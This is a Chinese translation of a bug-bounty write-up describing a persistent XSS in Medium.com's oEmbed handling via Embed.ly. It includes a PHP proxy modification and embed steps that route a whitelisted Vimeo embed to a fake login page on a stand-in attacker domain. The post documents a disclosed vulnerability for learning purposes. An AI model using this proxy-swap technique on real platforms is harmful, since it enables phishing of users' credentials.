第二十一篇:存储型XSS(前续)

原文:Persistent XSS (Unvalidated oEmbed) at Medium.com

漏洞:

作者:Jonathan Bouman

难度:高

背景

  在我们之前的一篇报告中,我们学会了关于反射型XSS的知识;reflect XSS的缺点是我们需要欺骗用户访问攻击者构造好的URL。

  但是,如果我们可以将我们的javascript代码存储在页面中呢?

  那么影响只会更大;没有特殊构造的URL和万恶的XSS防火墙破坏我们的游戏。我们称之为存储型XSS或者持久性XSS攻击。

  一如既往,我们正在寻找鼓励我们挖掘BUG的目标。那么Medium.com怎么样?他们的奖金超级丰厚

确定目标

  存储信息并于他人分享信息是Medium的主要业务。我们只需找到一种将我们的恶意代码放入信息并执行它的方法,那么让我们来看看他们的编辑器吧。

  编辑器支持不同类型的内容(纯文本,图像和媒体嵌入)

  通过媒体嵌入,您可以丰富文章内容。例如:加载外部视频,显示您的twitter个人信息来丰富推文内容等等。要做到这些您只需要按下编辑器的(+)按钮,然后粘贴网址,最后按下回车就可以了,这种有趣的技术名为:oEmbed

[*]真正的oEmbed技术是将内容嵌入而不是图片,译者的博客没有集成类似的技术就只能图片代替

  如果你拥有一个像Medium.com这样的平台,你想让自己的网站支持各种类型的嵌入。这意味着您应该要维护一个安全的白名单,不能让所有域名的代码都能嵌入到您的网页中去,这样才能保证安全。

[*]Embed.ly是Medium.com拥有的子公司

  为了验证我们的概念,我们做一个fake login

寻找漏洞,Embed.ly如何运作的?

  首先,他们声明他们支持oEmbed规范;

  那么这是否意味着如果我们的恶意外部url包含正确的oEmbed标记我们就成功了?想象一个包含oEmbed标签的html页面,声明它自己是一个视频播放器,但是它的真实内容是加载一个fake login页面。

  很遗憾,只有经过批准的提供者才能嵌入他们的代码。

  让我们打开Medium编辑器,看看如果我们尝试嵌入Vimeo视频,浏览器会做什么。由于Vimeo在白名单上,它应该可以工作,我们可以更多地了解Embed.ly的内部工作原理。

[*]1. 请求我们的Vimeo视频的request信息

[*]2. oEmbed的响应信息,mediaResourceId是内部唯一标志符

[*]3. POST请求,告诉Medium.com使用mediaResourceId包含我们的视频

[*]4. 请求oEmbed HTML,用来显示oEmbed

[*]5. 响应oEmbed HTML,包含由Embed.ly托管的Vimeo播放器

[*]6. 请求来自oEmbed HTML中iframe标签的内容

  值得注意的是,Embed.ly为每个嵌入的内容创建了一个mediaResourceId。这个mediaResourceId是URL的MD5哈希值。这是一个聪明的举动,允许他们缓存结果。是否有人嵌入已经处理过的网址?Embed.ly立即就能从缓存中提取,不必再去请求一遍。

  因此我们需要欺骗Embed.ly为我们的fake login页面创建mediaResourceId。此外,这个mediaResourceId应该提供一个响应,通过iframe加载我们的fake login,这样当Medium请求mediaResourceId的时候就会加载我们的fake login

[*]7. 没有成功

  没有公共,我尝试了多种办法均没有达到效果!

  所以我们必须考虑其它办法了。

  下面的代码是[截图6]的请求内容

1
GET /widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F142424242%3Fapp_id%3D122963&dntp=1&url=https%3A%2F%2Fvimeo.com%2F142424242&image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F540139087_1280.jpg&key=b19fcc184b9711e1b4764040d3dc5c07&type=text%2Fhtml&schema=vimeo

Decoded:

1
GET /widgets/media.html?src=https://player.vimeo.com/video/142424242?app_id=122963&dntp=1&url=https://vimeo.com/142424242&image=https://i.vimeocdn.com/video/540139087_1280.jpg&key=b19fcc184b9711e1b4764040d3dc5c07&type=text/html&schema=vimeo

  如果我们可以做某种中间人攻击[MITM]并假装我们是Vimeo呢?我们将更改Vimeo响应,以便加载我们的fake login页面。搜索指向Vimeo播放器的字符串https://player.vimeo.com/video/142424242 并将其更改为https://evildomain.ltd/fakelogin

MITM Attack

1. 快速设置:打开你的PHP服务器,上传fakelogin.html(包含正确设计的fake login),上传proxy.php(miniProxy,允许我们加载外部URL,更改响应,提供更改后的响应)

2. 在proxy.php 第381行上面添加一行

1
2
//Parse the DOM:
$responseBody = str_replace("https://player.vimeo.com/video/142424242", "https://evildomain.ltd/embedly/fakelogin.html", $responseBody);

3. 创建一个新的Medium文章

4. 嵌入网址https://evildomain.ltd/embedly/proxy.php?https://vimeo.com/142424242

5. Medium.com他们的服务器将从https://evildomain.ltd/embedly/proxy.php?https://vimeo.com/142424242请求oEmbed信息,我们向他们发送一个与Vimeo相同的响应,仅在此时包含我们的fake login页面而不是视频播放器

6. 等待

文章目录
  1. 1. 原文:Persistent XSS (Unvalidated oEmbed) at Medium.com
  2. 2. 漏洞:
  3. 3. 作者:Jonathan Bouman
  4. 4. 难度:高
  • 背景
    1. 1.   在我们之前的一篇报告中,我们学会了关于反射型XSS的知识;reflect XSS的缺点是我们需要欺骗用户访问攻击者构造好的URL。
    2. 2.   但是,如果我们可以将我们的javascript代码存储在页面中呢?
    3. 3.   那么影响只会更大;没有特殊构造的URL和万恶的XSS防火墙破坏我们的游戏。我们称之为存储型XSS或者持久性XSS攻击。
    4. 4.   一如既往,我们正在寻找鼓励我们挖掘BUG的目标。那么Medium.com怎么样?他们的奖金超级丰厚
  • 确定目标
    1. 1.   存储信息并于他人分享信息是Medium的主要业务。我们只需找到一种将我们的恶意代码放入信息并执行它的方法,那么让我们来看看他们的编辑器吧。
    2. 2.   编辑器支持不同类型的内容(纯文本,图像和媒体嵌入)
    3. 3.   通过媒体嵌入,您可以丰富文章内容。例如:加载外部视频,显示您的twitter个人信息来丰富推文内容等等。要做到这些您只需要按下编辑器的(+)按钮,然后粘贴网址,最后按下回车就可以了,这种有趣的技术名为:oEmbed
    4. 4.   如果你拥有一个像Medium.com这样的平台,你想让自己的网站支持各种类型的嵌入。这意味着您应该要维护一个安全的白名单,不能让所有域名的代码都能嵌入到您的网页中去,这样才能保证安全。
    5. 5.   为了验证我们的概念,我们做一个fake login
    6. 6. 寻找漏洞,Embed.ly如何运作的?
    7. 7.   首先,他们声明他们支持oEmbed规范;
    8. 8.   那么这是否意味着如果我们的恶意外部url包含正确的oEmbed标记我们就成功了?想象一个包含oEmbed标签的html页面,声明它自己是一个视频播放器,但是它的真实内容是加载一个fake login页面。
    9. 9.   很遗憾,只有经过批准的提供者才能嵌入他们的代码。
    10. 10.   让我们打开Medium编辑器,看看如果我们尝试嵌入Vimeo视频,浏览器会做什么。由于Vimeo在白名单上,它应该可以工作,我们可以更多地了解Embed.ly的内部工作原理。
    11. 11.   值得注意的是,Embed.ly为每个嵌入的内容创建了一个mediaResourceId。这个mediaResourceId是URL的MD5哈希值。这是一个聪明的举动,允许他们缓存结果。是否有人嵌入已经处理过的网址?Embed.ly立即就能从缓存中提取,不必再去请求一遍。
    12. 12.   因此我们需要欺骗Embed.ly为我们的fake login页面创建mediaResourceId。此外,这个mediaResourceId应该提供一个响应,通过iframe加载我们的fake login,这样当Medium请求mediaResourceId的时候就会加载我们的fake login
    13. 13.   没有公共,我尝试了多种办法均没有达到效果!
    14. 14.   所以我们必须考虑其它办法了。
    15. 15.   下面的代码是[截图6]的请求内容
    16. 16. Decoded:
    17. 17.   如果我们可以做某种中间人攻击[MITM]并假装我们是Vimeo呢?我们将更改Vimeo响应,以便加载我们的fake login页面。搜索指向Vimeo播放器的字符串https://player.vimeo.com/video/142424242 并将其更改为https://evildomain.ltd/fakelogin
  • MITM Attack
    1. 1. 1. 快速设置:打开你的PHP服务器,上传fakelogin.html(包含正确设计的fake login),上传proxy.php(miniProxy,允许我们加载外部URL,更改响应,提供更改后的响应)
    2. 2. 2. 在proxy.php 第381行上面添加一行
    3. 3. 3. 创建一个新的Medium文章
    4. 4. 4. 嵌入网址https://evildomain.ltd/embedly/proxy.php?https://vimeo.com/142424242
    5. 5. 5. Medium.com他们的服务器将从https://evildomain.ltd/embedly/proxy.php?https://vimeo.com/142424242请求oEmbed信息,我们向他们发送一个与Vimeo相同的响应,仅在此时包含我们的fake login页面而不是视频播放器
    6. 6. 6. 等待
  • |